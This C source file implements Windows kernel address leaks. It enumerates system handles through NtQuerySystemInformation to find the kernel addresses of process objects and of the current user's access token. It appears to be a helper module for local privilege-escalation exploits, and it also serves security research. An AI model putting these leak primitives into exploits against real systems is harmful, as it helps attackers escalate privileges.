#pragma once
#include "stdafx.h"
#include "KernelAddressLeak.h"


//Helper functions
bool GetOSVersion(DWORD* majorVersion, DWORD* minorVersion);
BOOL QueryNtHandles(PSYSTEM_HANDLE_INFORMATION_EX* handleInfo);



//Returns true on success (and sets majorVersion and minorVersion). Returns false on failure.
bool GetOSVersion(DWORD* majorVersion, DWORD* minorVersion)
{
	bool success = false;

	if (IsWindowsVistaOrGreater())
	{
		success = true;
		*majorVersion = 6;
		*minorVersion = 0;
	}
	if (IsWindows7OrGreater())
	{
		*minorVersion = 1;
	}
	if (IsWindows8OrGreater())
	{
		*minorVersion = 2;
	}
	if (IsWindows8Point1OrGreater())
	{
		*minorVersion = 3;
	}

	return success;
}

BOOL QueryNtHandles(PSYSTEM_HANDLE_INFORMATION_EX* handleInfo)
{
	BOOL functionSuccess = false;
	ULONG handleInfoSize = sizeof(SYSTEM_HANDLE_INFORMATION_EX)+(sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)* 10000);
	NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; //Make status be an error so the loop starts.
	*handleInfo = NULL;

	HMODULE hModule = LoadLibraryW(L"ntdll.dll");
	tNtQuerySystemInformation pNtQuerySystemInformation = (tNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
	FreeLibrary(hModule);
	if (pNtQuerySystemInformation == NULL)
	{
		printf("- Error: Cannot retrieve NtQuerySystemInformation address.\n");
		goto Cleanup;
	}

	ULONG requiredSize = 0;
	while (status == STATUS_INFO_LENGTH_MISMATCH)
	{
		if (*handleInfo)
		{
			free(*handleInfo);
		}

		//Allocate space for NtQuerySystemInformation and call it
		*handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(handleInfoSize);
		ZeroMemory(*handleInfo, handleInfoSize);
		status = (*pNtQuerySystemInformation)(SystemExtendedHandleInformation, *handleInfo, handleInfoSize, &requiredSize);
		//If there isn't enough space in the buffer, increase the buffer size
		if (NT_SUCCESS(status))
		{
			break;
		}
		else if (status == STATUS_INFO_LENGTH_MISMATCH)
		{
			ULONG additionalSpace = sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)* 1000;
			if (ULONG_MAX - additionalSpace < requiredSize)
			{
				printf("- Error: Looping error increasing buffersize for NtQuerySystemInformation.\n");
				goto Cleanup;
			}

			handleInfoSize = requiredSize + additionalSpace;
		}
		else
		{
			printf("- Error: Unexpected error from NtQuerySystemInformation. Error: 0x%x\n", status);
			goto Cleanup;
		}
	}

	printf("+ QueryNtHandles returning success: NtQuerySystemInformation returned %i entries.\n", (*handleInfo)->NumberOfHandles);
	functionSuccess = true;

Cleanup:
	if (!functionSuccess)
	{
		if (*handleInfo)
		{
			free(*handleInfo);
			*handleInfo = NULL;
		}
	}

	return functionSuccess;
}


BOOL LeakProcessObjectAddresses(HANDLE processId, PVOID** objectAddresses, size_t* objectCount)
{
	BOOL functionSuccess = false;

	*objectAddresses = NULL;
	*objectCount = 0;

	NTSTATUS status = 0;
	PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
	USHORT processTypeIndex = 0;
	HANDLE hCurrentProc = NULL;

	//Get a real handle to the current process
	DWORD currentProcId = GetCurrentProcessId();
	hCurrentProc = OpenProcess(PROCESS_QUERY_INFORMATION, false, currentProcId);
	if (hCurrentProc == NULL)
	{
		printf("- Unable to call OpenProcess for current process. Error code: 0x%p. Current process Id: %i", hCurrentProc, currentProcId);
		goto Cleanup;
	}

	if (!QueryNtHandles(&handleInfo))
	{
		printf("- Error calling QueryNtHandles to retrieve kernel handles info.");
		goto Cleanup;
	}

	size_t numRetrievedHandles = handleInfo->NumberOfHandles;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handleInfo->Handles;

	//Need to determine what the ObjectTypeIndex value is for a process handle.
	//To do this, look for the process handle of the current process (that was opened earlier) in our current process and look at its ObjectIndexType.
	for (size_t i = 0; i < numRetrievedHandles; i++)
	{
		if ((handleEntry->UniqueProcessId == (HANDLE)currentProcId) && (handleEntry->HandleValue == hCurrentProc))
		{
			processTypeIndex = handleEntry->ObjectTypeIndex;
			break;
		}

		handleEntry++;
	}

	if (processTypeIndex == 0)
	{
		printf("- Unable to determine the ObjectTypeIndex for PROCESS objects.\n");
		goto Cleanup;
	}
	printf("+ Found ObjectTypeIndex for PROCESS objects: 0x%x\n", processTypeIndex);

	//Loop through the target remote process and find PROCESS objects
	handleEntry = handleInfo->Handles; //Reset this pointer
	printf("+ Total handles retrieved: %i\n", numRetrievedHandles);
	size_t numTargetHandles = 0;
	for (size_t i = 0; i < numRetrievedHandles; i++)
	{
		if (handleEntry->UniqueProcessId == processId && handleEntry->ObjectTypeIndex == processTypeIndex)
		{
			numTargetHandles++;
			//printf("= Process ID: 0x%x, Handle value: 0x%x, ObjectID: 0x%x, Address: 0x%x\n", handleEntry->UniqueProcessId, handleEntry->HandleValue, handleEntry->ObjectTypeIndex, handleEntry->Object);
		}

		handleEntry++;
	}

	//Allocate space for the needed handles.
	*objectAddresses = (PVOID*)malloc(numTargetHandles * sizeof(PVOID));
	*objectCount = numTargetHandles;

	handleEntry = handleInfo->Handles; //Reset this pointer
	//Fill in an array of pointers. Each pointer points to a PROCESS structure in kernel mode that the target process has an open handle to.
	for (size_t i = 0, objectArrayIndex = 0; i < numRetrievedHandles; i++)
	{
		if (handleEntry->UniqueProcessId == processId && handleEntry->ObjectTypeIndex == processTypeIndex)
		{
			(*objectAddresses)[objectArrayIndex] = handleEntry->Object;
			objectArrayIndex++;
		}

		handleEntry++;
	}


	functionSuccess = true;

Cleanup:
	if (hCurrentProc)
	{
		CloseHandle(hCurrentProc);
		hCurrentProc = NULL;
	}
	if (handleInfo)
	{
		free(handleInfo);
		handleInfo = NULL;
	}
	if (!functionSuccess)
	{
		if (*objectAddresses)
		{
			free(*objectAddresses);
			*objectAddresses = NULL;
			*objectCount = 0;
		}
	}

	return functionSuccess;
}


BOOL LeakAddressOfObjectByHandleInProcess(HANDLE hHandle, PVOID* tokenAddress)
{
	BOOL functionSuccess = false;
	PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
	DWORD currentProcessId = 0;
	BOOL success = false;

	currentProcessId = GetCurrentProcessId();

	if (hHandle == NULL)
	{
		printf("- Error: hHandle cannot be NULL\n");
		goto Cleanup;
	}

	//Get all kernel handles
	if (!QueryNtHandles(&handleInfo))
	{
		printf("- Error calling QueryNtHandles to retrieve kernel handles info.\n");
		goto Cleanup;
	}

	//Find the current token from the handles retrieved
	printf("+ Retrieved all kernel handles. Looking for the address of the supplied token.\n");
	size_t numRetrievedHandles = handleInfo->NumberOfHandles;
	PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleEntry = handleInfo->Handles;
	for (size_t i = 0; i < numRetrievedHandles; i++)
	{
		if (handleEntry->UniqueProcessId == (HANDLE)currentProcessId && handleEntry->HandleValue == hHandle)
		{
			*tokenAddress = handleEntry->Object;
			printf("+ The address of the hHandle object is: 0x%p\n", *tokenAddress);
			functionSuccess = true;
			goto Cleanup;
		}

		handleEntry++;
	}

	printf("- Error trying to locate hHandle in the returned kernel handles.\n");

Cleanup:
	if (handleInfo)
	{
		free(handleInfo);
		handleInfo = NULL;
	}

	return functionSuccess;
}


BOOL LeakCurrentUserTokenAddress(PVOID* tokenAddress)
{
	BOOL functionSuccess = false;
	DWORD currentProcessId = 0;
	HANDLE hCurrentProcess = NULL;
	HANDLE hProcessToken = NULL;

	//Obtain a token for the current process
	currentProcessId = GetCurrentProcessId();
	hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, false, currentProcessId);
	if (!hCurrentProcess)
	{
		printf("- Error opening current process. Error code: 0x%x\n", GetLastError());
		goto Cleanup;
	}

	functionSuccess = OpenProcessToken(hCurrentProcess, TOKEN_QUERY, &hProcessToken);
	if (!functionSuccess)
	{
		printf("- Error opening process token. Error code: 0x%x\n", GetLastError());
		goto Cleanup;
	}
	printf("+ Obtained a handle to the current process token.\n");

	functionSuccess = LeakAddressOfObjectByHandleInProcess(hProcessToken, tokenAddress);

Cleanup:
	if (hCurrentProcess)
	{
		CloseHandle(hCurrentProcess);
		hCurrentProcess = NULL;
	}
	if (hProcessToken)
	{
		CloseHandle(hProcessToken);
		hProcessToken = NULL;
	}

	return functionSuccess;
}


BOOL GetProcessIdByName(LPCWSTR processName, DWORD* processId)
{
	PROCESSENTRY32 processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	BOOL returnValue = false;

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (!hSnapshot)
	{
		goto Cleanup;
	}

	BOOL success = Process32FirstW(hSnapshot, &processEntry);

	while (success)
	{
		if (_wcsicmp(processName, processEntry.szExeFile) == 0)
		{
			*processId = processEntry.th32ProcessID;
			returnValue = true;
			goto Cleanup;
		}

		success = Process32Next(hSnapshot, &processEntry);
	}

Cleanup:
	if (hSnapshot)
	{
		CloseHandle(hSnapshot);
		hSnapshot = NULL;
	}

	return returnValue;
}